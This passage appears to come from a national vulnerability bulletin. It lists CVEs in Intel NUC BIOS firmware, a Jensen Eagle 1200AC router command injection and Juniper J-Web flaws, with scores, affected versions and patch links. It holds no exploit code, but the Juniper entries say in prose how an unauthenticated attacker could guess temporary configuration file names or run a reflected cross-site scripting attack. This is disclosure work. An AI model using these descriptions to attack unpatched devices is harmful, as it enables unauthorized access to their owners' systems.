Affected Version(s): * Up to (excluding) inwhl357.0049					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-29495**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2804
Affected Version(s): inwhl357.0049					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	7.8	Improper buffer restrictions for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28722**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2805
Product: nuc_8_mainstream-g_kit_nuc8i7inh_firmware					
Affected Version(s): * Up to (excluding) inwhl357.0049					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-29495**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2806
Affected Version(s): inwhl357.0049					
N/A	19-Jan-2024	7.8	Improper buffer restrictions for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access.	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2807

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-28722		
Product: nuc_9_pro_compute_element_nuc9v7qnb_firmware					
Affected Version(s): qncflx70.0073					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28743**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2808
Product: nuc_9_pro_kit_nuc9v7qnb_firmware					
Affected Version(s): qncflx70.0073					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28743**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2809
Product: nuc_9_pro_kit_nuc9v7qnx_firmware					
Affected Version(s): qncflx70.0073					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a	https://www.intel.com/content/www/us/en/security-center/advisory	O-INT-NUC_-090224/2810

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28743**	/intel-sa-01009.html	
Product: nuc_kit_nuc7cjyhn_firmware					
Affected Version(s): jyglkcpx.0071					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28738**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2811
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2812
Product: nuc_kit_nuc7cjyh_firmware					
Affected Version(s): jyglkcpx.0071					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a	https://www.intel.com/content/www/us/en/security-center/advisory	O-INT-NUC_-090224/2813

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28738**	/intel-sa-01009.html	
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2814
Product: nuc_kit_nuc7cjysal_firmware					
Affected Version(s): jyglkcpx.0071					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28738**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2815
Product: nuc_kit_nuc7pjyhn_firmware					
Affected Version(s): jyglkcpx.0071					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a	https://www.intel.com/content/www/us/en/security-center/advisory	O-INT-NUC_-090224/2816

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28738**	/intel-sa-01009.html	
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2817
Product: nuc_kit_nuc7pjyh_firmware					
Affected Version(s): jyglkcpx.0071					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28738**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2818
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2819

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of privilege via local access. **CVE ID : CVE-2023-42429**		
Product: nuc_kit_nuc8i3behs_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2820
Product: nuc_kit_nuc8i3beh_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2821
Product: nuc_kit_nuc8i3bek_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2822

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of privilege via local access. **CVE ID : CVE-2023-38587**		
Product: nuc_kit_nuc8i5behs_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2823
Product: nuc_kit_nuc8i5beh_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2824
Product: nuc_kit_nuc8i5bek_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2825

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of privilege via local access. **CVE ID : CVE-2023-38587**		
Product: nuc_kit_nuc8i7beh_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2826
Product: nuc_kit_nuc8i7bek_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2827
Product: nuc_pro_compute_element_nuc9v7qnx_firmware					
Affected Version(s): qncflx70.0073					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a privileged user to potentially enable	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2828

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			escalation of privilege via local access. **CVE ID : CVE-2023-28743**		
Vendor: Jensenofscandinavia					
Product: eagle_1200ac_firmware					
Affected Version(s): 15.03.06.33_en					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	22-Jan-2024	7.8	Jensen of Scandinavia Eagle 1200AC V15.03.06.33_en was discovered to contain a command injection vulnerability in the function formWriteFacMac. This vulnerability allows attackers to execute arbitrary commands via manipulation of the mac parameter. **CVE ID : CVE-2023-24135**	N/A	O-JEN-EAGL-090224/2829
Vendor: Juniper					
Product: junos					
Affected Version(s): * Up to (excluding) 20.4					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2830

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2831

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Affected Version(s): 20.4					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information.	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2832

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions,	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2833

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Affected Version(s): 21.2					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2834

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives.	https://supportportal.juniper.net/JSA76390	O-JUN-JUNO-090224/2835

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Affected Version(s): 21.3					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information.	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2836

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Affected Version(s): 21.4					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information.	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2837

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8;	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2838

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Affected Version(s): 22.1					
Generation of Error Message Containing Sensitive Informatio n	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS	https://support portal.juniper.n et/JSA76390	O-JUN-JUNO-090224/2839

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7;		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited	https://support.portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2840

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Affected Version(s): 22.2					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2841

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2842

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Affected Version(s): 22.3					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2843

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10;	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2844

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Affected Version(s): 22.4					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information	https://support.portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2845

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://supportportal.juniper.net/JSA76390	O-JUN-JUNO-090224/2846

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
